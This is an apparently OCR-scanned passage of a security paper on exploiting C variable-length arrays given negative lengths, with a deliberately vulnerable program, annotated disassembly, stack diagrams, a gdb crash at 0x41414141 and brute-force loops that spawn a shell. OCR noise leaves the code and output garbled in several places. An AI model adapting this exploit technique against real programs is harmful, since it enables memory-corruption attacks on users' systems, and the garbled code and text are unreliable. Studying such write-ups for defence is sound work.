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int function(int len, some other args)

{ .
nt a;
struct whatever *b;
unsigned long c[len];

if(len > SOME_DEFINE) {
return ERROR;
§

/* rest of the code */
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size t fsize3 (int n)

{
char b[n+3]; //Variable length array.



return sizeof b; // Execution timesizeof.

}

int main()

{
size t size;
size = fsize3(10); // fsize3 returns 13.
return O;

}
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#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

#include <string.h>

#include <sys/types.h>
int func(int len, char *stuff)
{
char x[len];
printf("sizeof(x): %d\n", sizeof(x));
strncpy(X, stuff, 4);
return 58;
}
int main(int arge, char **argv)
{
return func(atoi(argv[1]), argv[2]);
}
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080483f4 <func>:

80483f4: 55 push sebp
80483f5: 89 eb5 mov %esp, %ebp ; standard function
; prologue
80483f7: 56 push %esi
80483f8: 53 push %ebx ; preserve the appropriate
; register contents.
80483f9: 83 ec 10 sub $0x10, %esp ; setup local

; variables



80483fc: 89 eb mov %esp, %esi ; preserve the esp
; register

80483fe: 8b 55 08 mov 0x8 (%ebp), $edx ; get the length
8048401: 4a dec sedx ; decrement it

8048402: 8d 42 01 lea 0x1 (%edx) ,%eax ; eax = edx + 1
8048405: 83 c0 0Of add $0xf, $eax

8048408: cl e8 04 shr $0x4, $eax

804840b: cl e0 04 shl $0x4, $eax

oS 3 ) EAX 503 JI oS5 ) gimwd ool (€ax = (((eax + 15) >> 4) << 4)) il o EAX 3T hs 4w

804840e: 29 c4 sub %eax, %sesp ; adjust esp
8048410: 8d 5c 24 Oc lea Oxc (%esp), %ebx ; ebx = esp + 12
8048414: 8d 42 01 lea 0x1 (%edx),%eax ; eax = edx + 1
8048417: 89 44 24 04 mov %eax, 0x4 ($esp) ; len argument

804841b: c7 04 24 78 85 04 08 movl $0x8048578, (%esp) ; fmt string
; "sizeof (x): %d\n"
8048422: e8 d9 fe ff ff call 8048300 < init+0x3c> ; printf

8048427: c7 44 24 08 04 00 00 movl $0x4,0x8 (%esp) ; len arg to

804842e: 00 ; strncpy
804842f: 8b 45 Oc mov Oxc (%ebp) , $eax

8048432: 89 44 24 04 mov %eax, 0x4 (%esp) ; data to copy
8048436: 89 1lc 24 mov %ebx, ($esp) ; where to write
; ebx = adjusted esp + 12 (see 0x8048410)

8048439: e8 e2 fe ff ff call 8048320 < init+0x5c> ; strncpy
804843e: 89 f4 mov %esi,%esp ; restore esp
8048440: b8 3a 00 00 0O mov $0x3a,%eax ; ready to return 58
8048445: 8d 65 f8 lea Oxfffffff8 (%ebp), $esp

; we restore esp again, Jjust in case it
; didn't happen in the first place.

8048448: 5b pop $ebx

8048449: b5e pop %esi

804844a: 5d pop sebp

804844b: c3 ret ; restore registers and return.
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0xc0000000 | <
............... Tl:l]_:l of stack
Uxhﬂ‘ffﬁ(‘.:c 0x0S04584312 Retwn address
Oxbifff368 DxbEfEF3 78 Saved EBP
Oxbhffff8cd | ... Saved ESI
Oxbffff3c0 | e Saved FBX
Oxbffff85c | e Local variable space
Oxbffff858 | e Local variable space
Oxhffffgsg | 0 e Local variable space
............... ESP
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delta = Oxbffff86¢ - Oxbffff850
delta =28
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ceph@terminator:~/papers/straws$ gdb -q ./dmeiswrong

Using host libthread db library "/lib/tls/i686/cmov/libthread db.so.1".
(gdb) set args -16 AAAA

(gdb) r

Starting program: /home/ceph/papers/straws/dmeiswrong -16 AAAA
sizeof(x): -16

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
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GCC version: Debian 1:3.3.5-8ubuntu2, kernel: Linux supernova 2.6.10-5-686 #1 Fri Jun 24
17:33:34 UTC 2006 1686 GNU/Linux
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"foriin ‘seq 0 -4 -128" ; do ./dmeiswrong $1 AAAA ; done"
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ceph@terminator:~/papers/straws/src$ make bf

foriin ‘seq 0 -4 -256" ; do ./iyndwacyndwm-lame $i ; done
sizeof(x): 0

sizeof(x): -4

sizeof(x): -8

sizeof(x): -12

sizeof(x): -16

sh-3.008 exit

sizeof(x): -20

sh-3.008 exit

sizeof(x): -24

sh-3.008$ exit

sizeof(x): -28

sh-3.008 exit

sizeof(x): -32

/bin/sh: line 1: 16640 Segmentation fault  ./iyndwacyndwm-lame $i
sizeof(x): -36

[ snipped a bunch of Segmentation fault messages |

/bin/sh: line 1: 16648 Floating point exception./iyndwacyndwm-lame $i
sizeof(x): -68
/bin/sh: line 1: 16649 Floating point exception./iyndwacyndwm-lame $i
sizeof(x): -72

[ snipped a bunch of Floating point exception messages and segv ]

ceph@terminator:~/papers/straws/src$

135S g0 3d9i 1) o 5295 make bi-trap ,giws
foriin ‘seq 0 -4 -256" ; do ./iyndwacyndwm-lame-trap $i ; done
sizeof(x): 0
sizeof(x): -4
sizeof(x): -8
sizeof(x): -12

! Saved frame pointer (FP)



sizeof(x): -16
/bin/sh: line 1: 16983 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
sizeof(x): -20
/bin/sh: line 1: 16984 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
sizeof(x): -24

- http://www.eduplace.com/math/mathsteps/6/b/
- http://packetstorm.linuxsecurity.com/groups/netric/envpaper.pdf
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